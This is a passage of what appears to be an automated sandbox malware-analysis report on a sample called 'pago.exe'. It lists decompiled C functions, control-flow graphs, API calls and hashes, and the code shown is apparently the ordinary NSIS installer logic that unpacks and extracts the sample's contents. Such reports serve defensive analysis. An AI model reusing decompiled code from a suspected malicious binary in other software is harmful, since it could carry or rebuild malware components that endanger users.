                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
                                                                  • String ID: .DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
                                                                  • API String ID: 1975747703-2406066414
                                                                  • Opcode ID: 4d5bc0c8b1d06963261e86736c564a0ba68078006fcf7539d23d4665df175b37
                                                                  • Instruction ID: 6cc527b2f10929733706d009ff8c1d9b21e511251dd9cb17fe62514cef47010a
                                                                  • Opcode Fuzzy Hash: 4d5bc0c8b1d06963261e86736c564a0ba68078006fcf7539d23d4665df175b37
                                                                  • Instruction Fuzzy Hash: F561A670140300BED721AF66ED46F2B3A6CEB84B5AF40453FF945B62E2CB7D59018A6D
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  Control-flow Graph

                                                                  • Executed
                                                                  • Not Executed
                                                                  control_flow_graph 375 40307d-4030cb GetTickCount GetModuleFileNameW call 40602d 378 4030d7-403105 call 40653d call 405e58 call 40653d GetFileSize 375->378 379 4030cd-4030d2 375->379 387 4031f0-4031fe call 403019 378->387 388 40310b 378->388 380 4032ad-4032b1 379->380 394 403200-403203 387->394 395 403253-403258 387->395 389 403110-403127 388->389 392 403129 389->392 393 40312b-403134 call 4034cf 389->393 392->393 401 40325a-403262 call 403019 393->401 402 40313a-403141 393->402 397 403205-40321d call 4034e5 call 4034cf 394->397 398 403227-403251 GlobalAlloc call 4034e5 call 4032b4 394->398 395->380 397->395 421 40321f-403225 397->421 398->395 426 403264-403275 398->426 401->395 405 403143-403157 call 405fe8 402->405 406 4031bd-4031c1 402->406 412 4031cb-4031d1 405->412 424 403159-403160 405->424 411 4031c3-4031ca call 403019 406->411 406->412 411->412 417 4031e0-4031e8 412->417 418 4031d3-4031dd call 4069f7 412->418 417->389 425 4031ee 417->425 418->417 421->395 421->398 424->412 430 403162-403169 424->430 425->387 427 403277 426->427 428 40327d-403282 426->428 427->428 431 403283-403289 428->431 430->412 432 40316b-403172 430->432 431->431 433 40328b-4032a6 SetFilePointer call 405fe8 431->433 432->412 434 403174-40317b 432->434 438 4032ab 433->438 434->412 436 40317d-40319d 434->436 436->395 437 4031a3-4031a7 436->437 439 4031a9-4031ad 437->439 440 4031af-4031b7 437->440 438->380 439->425 439->440 440->412 441 4031b9-4031bb 440->441 441->412
                                                                  C-Code - Quality: 78%
                                                                  			E0040307D(void* __eflags, signed int _a4) {
                                                                  				DWORD* _v8;
                                                                  				DWORD* _v12;
                                                                  				void* _v16;
                                                                  				intOrPtr _v20;
                                                                  				char _v24;
                                                                  				intOrPtr _v28;
                                                                  				intOrPtr _v32;
                                                                  				intOrPtr _v36;
                                                                  				intOrPtr _v40;
                                                                  				signed int _v44;
                                                                  				long _t43;
                                                                  				long _t50;
                                                                  				void* _t53;
                                                                  				void* _t57;
                                                                  				intOrPtr* _t59;
                                                                  				long _t60;
                                                                  				long _t70;
                                                                  				signed int _t77;
                                                                  				intOrPtr _t80;
                                                                  				long _t82;
                                                                  				void* _t85;
                                                                  				signed int _t87;
                                                                  				void* _t89;
                                                                  				long _t90;
                                                                  				long _t93;
                                                                  				void* _t94;
                                                                  
                                                                  				_t82 = 0;
                                                                  				_v12 = 0;
                                                                  				_v8 = 0;
                                                                  				_t43 = GetTickCount();
                                                                  				_t91 = L"C:\\Users\\engineer\\Desktop\\pago.exe";
                                                                  				 *0x434f0c = _t43 + 0x3e8;
                                                                  				GetModuleFileNameW(0, L"C:\\Users\\engineer\\Desktop\\pago.exe", 0x400);
                                                                  				_t89 = E0040602D(_t91, 0x80000000, 3);
                                                                  				_v16 = _t89;
                                                                  				 *0x40a018 = _t89;
                                                                  				if(_t89 == 0xffffffff) {
                                                                  					return L"Error launching installer";
                                                                  				}
                                                                  				E0040653D(0x441800, _t91);
                                                                  				E0040653D(0x444000, E00405E58(0x441800));
                                                                  				_t50 = GetFileSize(_t89, 0);
                                                                  				 *0x42aa24 = _t50;
                                                                  				_t93 = _t50;
                                                                  				if(_t50 <= 0) {
                                                                  					L24:
                                                                  					E00403019(1);
                                                                  					if( *0x434f14 == _t82) {
                                                                  						goto L29;
                                                                  					}
                                                                  					if(_v8 == _t82) {
                                                                  						L28:
                                                                  						_t34 =  &_v24; // 0x40387d
                                                                  						_t53 = GlobalAlloc(0x40,  *_t34); // executed
                                                                  						_t94 = _t53;
                                                                  						E004034E5( *0x434f14 + 0x1c);
                                                                  						_t35 =  &_v24; // 0x40387d
                                                                  						_push( *_t35);
                                                                  						_push(_t94);
                                                                  						_push(_t82);
                                                                  						_push(0xffffffff); // executed
                                                                  						_t57 = E004032B4(); // executed
                                                                  						if(_t57 == _v24) {
                                                                  							 *0x434f10 = _t94;
                                                                  							 *0x434f18 =  *_t94;
                                                                  							if((_v44 & 0x00000001) != 0) {
                                                                  								 *0x434f1c =  *0x434f1c + 1;
                                                                  							}
                                                                  							_t40 = _t94 + 0x44; // 0x44
                                                                  							_t59 = _t40;
                                                                  							_t85 = 8;
                                                                  							do {
                                                                  								_t59 = _t59 - 8;
                                                                  								 *_t59 =  *_t59 + _t94;
                                                                  								_t85 = _t85 - 1;
                                                                  							} while (_t85 != 0);
                                                                  							_t60 = SetFilePointer(_v16, _t82, _t82, 1); // executed
                                                                  							 *(_t94 + 0x3c) = _t60;
                                                                  							E00405FE8(0x434f20, _t94 + 4, 0x40);
                                                                  							return 0;
                                                                  						}
                                                                  						goto L29;
                                                                  					}
                                                                  					E004034E5( *0x41ea18);
                                                                  					if(E004034CF( &_a4, 4) == 0 || _v12 != _a4) {
                                                                  						goto L29;
                                                                  					} else {
                                                                  						goto L28;
                                                                  					}
                                                                  				} else {
                                                                  					do {
                                                                  						_t90 = _t93;
                                                                  						asm("sbb eax, eax");
                                                                  						_t70 = ( ~( *0x434f14) & 0x00007e00) + 0x200;
                                                                  						if(_t93 >= _t70) {
                                                                  							_t90 = _t70;
                                                                  						}
                                                                  						if(E004034CF(0x416a18, _t90) == 0) {
                                                                  							E00403019(1);
                                                                  							L29:
                                                                  							return L"Installer integrity check has failed. Common causes include\nincomplete download and damaged media. Contact the\ninstaller\'s author to obtain a new copy.\n\nMore information at:\nhttp://nsis.sf.net/NSIS_Error";
                                                                  						}
                                                                  						if( *0x434f14 != 0) {
                                                                  							if((_a4 & 0x00000002) == 0) {
                                                                  								E00403019(0);
                                                                  							}
                                                                  							goto L20;
                                                                  						}
                                                                  						E00405FE8( &_v44, 0x416a18, 0x1c);
                                                                  						_t77 = _v44;
                                                                  						if((_t77 & 0xfffffff0) == 0 && _v40 == 0xdeadbeef && _v28 == 0x74736e49 && _v32 == 0x74666f73 && _v36 == 0x6c6c754e) {
                                                                  							_a4 = _a4 | _t77;
                                                                  							_t87 =  *0x41ea18; // 0x40568
                                                                  							 *0x434fa0 =  *0x434fa0 | _a4 & 0x00000002;
                                                                  							_t80 = _v20;
                                                                  							 *0x434f14 = _t87;
                                                                  							if(_t80 > _t93) {
                                                                  								goto L29;
                                                                  							}
                                                                  							if((_a4 & 0x00000008) != 0 || (_a4 & 0x00000004) == 0) {
                                                                  								_v8 = _v8 + 1;
                                                                  								_t93 = _t80 - 4;
                                                                  								if(_t90 > _t93) {
                                                                  									_t90 = _t93;
                                                                  								}
                                                                  								goto L20;
                                                                  							} else {
                                                                  								break;
                                                                  							}
                                                                  						}
                                                                  						L20:
                                                                  						if(_t93 <  *0x42aa24) {
                                                                  							_v12 = E004069F7(_v12, 0x416a18, _t90);
                                                                  						}
                                                                  						 *0x41ea18 =  *0x41ea18 + _t90;
                                                                  						_t93 = _t93 - _t90;
                                                                  					} while (_t93 != 0);
                                                                  					_t82 = 0;
                                                                  					goto L24;
                                                                  				}
                                                                  			}





























                                                                  0x00403085
                                                                  0x00403088
                                                                  0x0040308b
                                                                  0x0040308e
                                                                  0x00403094
                                                                  0x004030a5
                                                                  0x004030aa
                                                                  0x004030bd
                                                                  0x004030c2
                                                                  0x004030c5
                                                                  0x004030cb
                                                                  0x00000000
                                                                  0x004030cd
                                                                  0x004030de
                                                                  0x004030ef
                                                                  0x004030f6
                                                                  0x004030fe
                                                                  0x00403103
                                                                  0x00403105
                                                                  0x004031f0
                                                                  0x004031f2
                                                                  0x004031fe
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00403203
                                                                  0x00403227
                                                                  0x00403227
                                                                  0x0040322c
                                                                  0x00403232
                                                                  0x0040323d
                                                                  0x00403242
                                                                  0x00403242
                                                                  0x00403245
                                                                  0x00403246
                                                                  0x00403247
                                                                  0x00403249
                                                                  0x00403251
                                                                  0x00403268
                                                                  0x00403270
                                                                  0x00403275
                                                                  0x00403277
                                                                  0x00403277
                                                                  0x0040327f
                                                                  0x0040327f
                                                                  0x00403282
                                                                  0x00403283
                                                                  0x00403283
                                                                  0x00403286
                                                                  0x00403288
                                                                  0x00403288
                                                                  0x00403292
                                                                  0x00403298
                                                                  0x004032a6
                                                                  0x00000000
                                                                  0x004032ab
                                                                  0x00000000
                                                                  0x00403251
                                                                  0x0040320b
                                                                  0x0040321d
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x0040310b
                                                                  0x00403110
                                                                  0x00403115
                                                                  0x00403119
                                                                  0x00403120
                                                                  0x00403127
                                                                  0x00403129
                                                                  0x00403129
                                                                  0x00403134
                                                                  0x0040325c
                                                                  0x00403253
                                                                  0x00000000
                                                                  0x00403253
                                                                  0x00403141
                                                                  0x004031c1
                                                                  0x004031c5
                                                                  0x004031ca
                                                                  0x00000000
                                                                  0x004031c1
                                                                  0x0040314a
                                                                  0x0040314f
                                                                  0x00403157
                                                                  0x0040317d
                                                                  0x00403183
                                                                  0x0040318c
                                                                  0x00403192
                                                                  0x00403197
                                                                  0x0040319d
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x004031a7
                                                                  0x004031af
                                                                  0x004031b2
                                                                  0x004031b7
                                                                  0x004031b9
                                                                  0x004031b9
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x004031a7
                                                                  0x004031cb
                                                                  0x004031d1
                                                                  0x004031dd
                                                                  0x004031dd
                                                                  0x004031e0
                                                                  0x004031e6
                                                                  0x004031e6
                                                                  0x004031ee
                                                                  0x00000000
                                                                  0x004031ee

                                                                  APIs
                                                                  • GetTickCount.KERNEL32 ref: 0040308E
                                                                  • GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\pago.exe,00000400,?,?,?,?,?,0040387D,?), ref: 004030AA
                                                                    • Part of subcall function 0040602D: GetFileAttributesW.KERNELBASE(00000003,004030BD,C:\Users\user\Desktop\pago.exe,80000000,00000003,?,?,?,?,?,0040387D,?), ref: 00406031
                                                                    • Part of subcall function 0040602D: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,?,?,0040387D,?), ref: 00406053
                                                                  • GetFileSize.KERNEL32(00000000,00000000,00444000,00000000,00441800,00441800,C:\Users\user\Desktop\pago.exe,C:\Users\user\Desktop\pago.exe,80000000,00000003,?,?,?,?,?,0040387D), ref: 004030F6
                                                                  • GlobalAlloc.KERNELBASE(00000040,}8@,?,?,?,?,?,0040387D,?), ref: 0040322C
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
                                                                  • String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop\pago.exe$Error launching installer$FjS,$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft$}8@
                                                                  • API String ID: 2803837635-1714979524
                                                                  • Opcode ID: b2925046ebf4ee23c20be954f21b6b8de3b8febbf6f0f410cc7df6a070a5bb34
                                                                  • Instruction ID: 750c061bb954c4555836cecba7cc54c639b148d890841a972b43b12454d44aa7
                                                                  • Opcode Fuzzy Hash: b2925046ebf4ee23c20be954f21b6b8de3b8febbf6f0f410cc7df6a070a5bb34
                                                                  • Instruction Fuzzy Hash: 7951B571904204AFDB10AF65ED42B9E7EACAB48756F14807BF904B62D1C77C9F408B9D
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  Control-flow Graph

                                                                  • Executed
                                                                  • Not Executed
                                                                  control_flow_graph 506 4032b4-4032cb 507 4032d4-4032dd 506->507 508 4032cd 506->508 509 4032e6-4032eb 507->509 510 4032df 507->510 508->507 511 4032fb-403308 call 4034cf 509->511 512 4032ed-4032f6 call 4034e5 509->512 510->509 516 4034bd 511->516 517 40330e-403312 511->517 512->511 518 4034bf-4034c0 516->518 519 403468-40346a 517->519 520 403318-403361 GetTickCount 517->520 523 4034c8-4034cc 518->523 521 4034aa-4034ad 519->521 522 40346c-40346f 519->522 524 4034c5 520->524 525 403367-40336f 520->525 528 4034b2-4034bb call 4034cf 521->528 529 4034af 521->529 522->524 530 403471 522->530 524->523 526 403371 525->526 527 403374-403382 call 4034cf 525->527 526->527 527->516 539 403388-403391 527->539 528->516 540 4034c2 528->540 529->528 533 403474-40347a 530->533 536 40347c 533->536 537 40347e-40348c call 4034cf 533->537 536->537 537->516 543 40348e-40349a call 4060df 537->543 542 403397-4033b7 call 406a65 539->542 540->524 548 403460-403462 542->548 549 4033bd-4033d0 GetTickCount 542->549 550 403464-403466 543->550 551 40349c-4034a6 543->551 548->518 552 4033d2-4033da 549->552 553 40341b-40341d 549->553 550->518 551->533 554 4034a8 551->554 555 4033e2-403413 MulDiv wsprintfW call 40559f 552->555 556 4033dc-4033e0 552->556 557 403454-403458 553->557 558 40341f-403423 553->558 554->524 565 403418 555->565 556->553 556->555 557->525 561 40345e 557->561 559 403425-40342c call 4060df 558->559 560 40343a-403445 558->560 566 403431-403433 559->566 564 403448-40344c 560->564 561->524 564->542 567 403452 564->567 565->553 566->550 568 403435-403438 566->568 567->524 568->564
                                                                  C-Code - Quality: 95%
                                                                  			E004032B4(int _a4, intOrPtr _a8, intOrPtr _a12, int _a16, signed char _a19) {
                                                                  				signed int _v8;
                                                                  				int _v12;
                                                                  				intOrPtr _v16;
                                                                  				long _v20;
                                                                  				intOrPtr _v24;
                                                                  				short _v152;
                                                                  				void* _t65;
                                                                  				long _t70;
                                                                  				intOrPtr _t75;
                                                                  				long _t76;
                                                                  				intOrPtr _t77;
                                                                  				void* _t78;
                                                                  				int _t88;
                                                                  				intOrPtr _t92;
                                                                  				intOrPtr _t95;
                                                                  				long _t96;
                                                                  				signed int _t97;
                                                                  				int _t98;
                                                                  				int _t99;
                                                                  				intOrPtr _t100;
                                                                  				void* _t101;
                                                                  				void* _t102;
                                                                  
                                                                  				_t97 = _a16;
                                                                  				_t92 = _a12;
                                                                  				_v12 = _t97;
                                                                  				if(_t92 == 0) {
                                                                  					_v12 = 0x8000;
                                                                  				}
                                                                  				_v8 = _v8 & 0x00000000;
                                                                  				_v16 = _t92;
                                                                  				if(_t92 == 0) {
                                                                  					_v16 = 0x422a20;
                                                                  				}
                                                                  				_t62 = _a4;
                                                                  				if(_a4 >= 0) {
                                                                  					E004034E5( *0x434f58 + _t62);
                                                                  				}
                                                                  				if(E004034CF( &_a16, 4) == 0) {
                                                                  					L41:
                                                                  					_push(0xfffffffd);
                                                                  					goto L42;
                                                                  				} else {
                                                                  					if((_a19 & 0x00000080) == 0) {
                                                                  						if(_t92 != 0) {
                                                                  							if(_a16 < _t97) {
                                                                  								_t97 = _a16;
                                                                  							}
                                                                  							if(E004034CF(_t92, _t97) != 0) {
                                                                  								_v8 = _t97;
                                                                  								L44:
                                                                  								return _v8;
                                                                  							} else {
                                                                  								goto L41;
                                                                  							}
                                                                  						}
                                                                  						if(_a16 <= _t92) {
                                                                  							goto L44;
                                                                  						}
                                                                  						_t88 = _v12;
                                                                  						while(1) {
                                                                  							_t98 = _a16;
                                                                  							if(_a16 >= _t88) {
                                                                  								_t98 = _t88;
                                                                  							}
                                                                  							if(E004034CF(0x41ea20, _t98) == 0) {
                                                                  								goto L41;
                                                                  							}
                                                                  							if(E004060DF(_a8, 0x41ea20, _t98) == 0) {
                                                                  								L28:
                                                                  								_push(0xfffffffe);
                                                                  								L42:
                                                                  								_pop(_t65);
                                                                  								return _t65;
                                                                  							}
                                                                  							_v8 = _v8 + _t98;
                                                                  							_a16 = _a16 - _t98;
                                                                  							if(_a16 > 0) {
                                                                  								continue;
                                                                  							}
                                                                  							goto L44;
                                                                  						}
                                                                  						goto L41;
                                                                  					}
                                                                  					_t70 = GetTickCount();
                                                                  					 *0x40d384 =  *0x40d384 & 0x00000000;
                                                                  					 *0x40d380 =  *0x40d380 & 0x00000000;
                                                                  					_t14 =  &_a16;
                                                                  					 *_t14 = _a16 & 0x7fffffff;
                                                                  					_v20 = _t70;
                                                                  					 *0x40ce68 = 8;
                                                                  					 *0x416a10 = 0x40ea08;
                                                                  					 *0x416a0c = 0x40ea08;
                                                                  					 *0x416a08 = 0x416a08;
                                                                  					_a4 = _a16;
                                                                  					if( *_t14 <= 0) {
                                                                  						goto L44;
                                                                  					} else {
                                                                  						goto L9;
                                                                  					}
                                                                  					while(1) {
                                                                  						L9:
                                                                  						_t99 = 0x4000;
                                                                  						if(_a16 < 0x4000) {
                                                                  							_t99 = _a16;
                                                                  						}
                                                                  						if(E004034CF(0x41ea20, _t99) == 0) {
                                                                  							goto L41;
                                                                  						}
                                                                  						_a16 = _a16 - _t99;
                                                                  						 *0x40ce58 = 0x41ea20;
                                                                  						 *0x40ce5c = _t99;
                                                                  						while(1) {
                                                                  							_t95 = _v16;
                                                                  							 *0x40ce60 = _t95;
                                                                  							 *0x40ce64 = _v12;
                                                                  							_t75 = E00406A65(0x40ce58);
                                                                  							_v24 = _t75;
                                                                  							if(_t75 < 0) {
                                                                  								break;
                                                                  							}
                                                                  							_t100 =  *0x40ce60; // 0x425a20
                                                                  							_t101 = _t100 - _t95;
                                                                  							_t76 = GetTickCount();
                                                                  							_t96 = _t76;
                                                                  							if(( *0x434fb4 & 0x00000001) != 0 && (_t76 - _v20 > 0xc8 || _a16 == 0)) {
                                                                  								wsprintfW( &_v152, L"... %d%%", MulDiv(_a4 - _a16, 0x64, _a4));
                                                                  								_t102 = _t102 + 0xc;
                                                                  								E0040559F(0,  &_v152); // executed
                                                                  								_v20 = _t96;
                                                                  							}
                                                                  							if(_t101 == 0) {
                                                                  								if(_a16 > 0) {
                                                                  									goto L9;
                                                                  								}
                                                                  								goto L44;
                                                                  							} else {
                                                                  								if(_a12 != 0) {
                                                                  									_t77 =  *0x40ce60; // 0x425a20
                                                                  									_v8 = _v8 + _t101;
                                                                  									_v12 = _v12 - _t101;
                                                                  									_v16 = _t77;
                                                                  									L23:
                                                                  									if(_v24 != 1) {
                                                                  										continue;
                                                                  									}
                                                                  									goto L44;
                                                                  								}
                                                                  								_t78 = E004060DF(_a8, _v16, _t101); // executed
                                                                  								if(_t78 == 0) {
                                                                  									goto L28;
                                                                  								}
                                                                  								_v8 = _v8 + _t101;
                                                                  								goto L23;
                                                                  							}
                                                                  						}
                                                                  						_push(0xfffffffc);
                                                                  						goto L42;
                                                                  					}
                                                                  					goto L41;
                                                                  				}
                                                                  			}

























                                                                  0x004032bf
                                                                  0x004032c3
                                                                  0x004032c6
                                                                  0x004032cb
                                                                  0x004032cd
                                                                  0x004032cd
                                                                  0x004032d4
                                                                  0x004032d8
                                                                  0x004032dd
                                                                  0x004032df
                                                                  0x004032df
                                                                  0x004032e6
                                                                  0x004032eb
                                                                  0x004032f6
                                                                  0x004032f6
                                                                  0x00403308
                                                                  0x004034bd
                                                                  0x004034bd
                                                                  0x00000000
                                                                  0x0040330e
                                                                  0x00403312
                                                                  0x0040346a
                                                                  0x004034ad
                                                                  0x004034af
                                                                  0x004034af
                                                                  0x004034bb
                                                                  0x004034c2
                                                                  0x004034c5
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x004034bb
                                                                  0x0040346f
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00403471
                                                                  0x00403474
                                                                  0x00403477
                                                                  0x0040347a
                                                                  0x0040347c
                                                                  0x0040347c
                                                                  0x0040348c
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x0040349a
                                                                  0x00403464
                                                                  0x00403464
                                                                  0x004034bf
                                                                  0x004034bf
                                                                  0x00000000
                                                                  0x004034bf
                                                                  0x0040349c
                                                                  0x0040349f
                                                                  0x004034a6
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x004034a8
                                                                  0x00000000
                                                                  0x00403474
                                                                  0x0040331e
                                                                  0x00403320
                                                                  0x00403327
                                                                  0x0040332e
                                                                  0x0040332e
                                                                  0x00403335
                                                                  0x0040333d
                                                                  0x00403347
                                                                  0x0040334c
                                                                  0x00403354
                                                                  0x0040335e
                                                                  0x00403361
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00403367
                                                                  0x00403367
                                                                  0x00403367
                                                                  0x0040336f
                                                                  0x00403371
                                                                  0x00403371
                                                                  0x00403382
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00403388
                                                                  0x0040338b
                                                                  0x00403391
                                                                  0x00403397
                                                                  0x00403397
                                                                  0x004033a2
                                                                  0x004033a8
                                                                  0x004033ad
                                                                  0x004033b4
                                                                  0x004033b7
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x004033bd
                                                                  0x004033c3
                                                                  0x004033c5
                                                                  0x004033ce
                                                                  0x004033d0
                                                                  0x00403401
                                                                  0x00403407
                                                                  0x00403413
                                                                  0x00403418
                                                                  0x00403418
                                                                  0x0040341d
                                                                  0x00403458
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x0040341f
                                                                  0x00403423
                                                                  0x0040343a
                                                                  0x0040343f
                                                                  0x00403442
                                                                  0x00403445
                                                                  0x00403448
                                                                  0x0040344c
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00403452
                                                                  0x0040342c
                                                                  0x00403433
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00403435
                                                                  0x00000000
                                                                  0x00403435
                                                                  0x0040341d
                                                                  0x00403460
                                                                  0x00000000
                                                                  0x00403460
                                                                  0x00000000
                                                                  0x00403367

                                                                  APIs
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: CountTick$wsprintf
                                                                  • String ID: *B$ ZB$ A$ A$... %d%%$}8@
                                                                  • API String ID: 551687249-3683892814
                                                                  • Opcode ID: 56b0f536eed8a80aa022ebbc190999bc8f902075b9028e03b58b2e81be541d07
                                                                  • Instruction ID: 54ab186c05730647c672001b6e56d135182c7b51176e178f40f708a1e84a381e
                                                                  • Opcode Fuzzy Hash: 56b0f536eed8a80aa022ebbc190999bc8f902075b9028e03b58b2e81be541d07
                                                                  • Instruction Fuzzy Hash: E251BD31810219EBCF11DF65DA44B9E7BB8AF05756F10827BE804BB2C1D7789E44CBA9
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  Control-flow Graph

                                                                  • Executed
                                                                  • Not Executed
                                                                  control_flow_graph 569 40176f-401794 call 402da6 call 405e83 574 401796-40179c call 40653d 569->574 575 40179e-4017b0 call 40653d call 405e0c lstrcatW 569->575 580 4017b5-4017b6 call 4067c4 574->580 575->580 584 4017bb-4017bf 580->584 585 4017c1-4017cb call 406873 584->585 586 4017f2-4017f5 584->586 594 4017dd-4017ef 585->594 595 4017cd-4017db CompareFileTime 585->595 587 4017f7-4017f8 call 406008 586->587 588 4017fd-401819 call 40602d 586->588 587->588 596 40181b-40181e 588->596 597 40188d-4018b6 call 40559f call 4032b4 588->597 594->586 595->594 598 401820-40185e call 40653d * 2 call 40657a call 40653d call 405b9d 596->598 599 40186f-401879 call 40559f 596->599 611 4018b8-4018bc 597->611 612 4018be-4018ca SetFileTime 597->612 598->584 631 401864-401865 598->631 609 401882-401888 599->609 614 402c33 609->614 611->612 613 4018d0-4018db FindCloseChangeNotification 611->613 612->613 616 4018e1-4018e4 613->616 617 402c2a-402c2d 613->617 619 402c35-402c39 614->619 620 4018e6-4018f7 call 40657a lstrcatW 616->620 621 4018f9-4018fc call 40657a 616->621 617->614 628 401901-402398 620->628 621->628 632 40239d-4023a2 628->632 633 402398 call 405b9d 628->633 631->609 634 401867-401868 631->634 632->619 633->632 634->599
                                                                  C-Code - Quality: 75%
                                                                  			E0040176F(FILETIME* __ebx, void* __eflags) {
                                                                  				void* __esi;
                                                                  				void* _t35;
                                                                  				void* _t43;
                                                                  				void* _t45;
                                                                  				FILETIME* _t51;
                                                                  				FILETIME* _t64;
                                                                  				void* _t66;
                                                                  				signed int _t72;
                                                                  				FILETIME* _t73;
                                                                  				FILETIME* _t77;
                                                                  				signed int _t79;
                                                                  				WCHAR* _t81;
                                                                  				void* _t83;
                                                                  				void* _t84;
                                                                  				void* _t86;
                                                                  
                                                                  				_t77 = __ebx;
                                                                  				 *(_t86 - 8) = E00402DA6(0x31);
                                                                  				 *(_t86 + 8) =  *(_t86 - 0x30) & 0x00000007;
                                                                  				_t35 = E00405E83( *(_t86 - 8));
                                                                  				_push( *(_t86 - 8));
                                                                  				_t81 = L"Call";
                                                                  				if(_t35 == 0) {
                                                                  					lstrcatW(E00405E0C(E0040653D(_t81, 0x441000)), ??);
                                                                  				} else {
                                                                  					E0040653D();
                                                                  				}
                                                                  				E004067C4(_t81);
                                                                  				while(1) {
                                                                  					__eflags =  *(_t86 + 8) - 3;
                                                                  					if( *(_t86 + 8) >= 3) {
                                                                  						_t66 = E00406873(_t81);
                                                                  						_t79 = 0;
                                                                  						__eflags = _t66 - _t77;
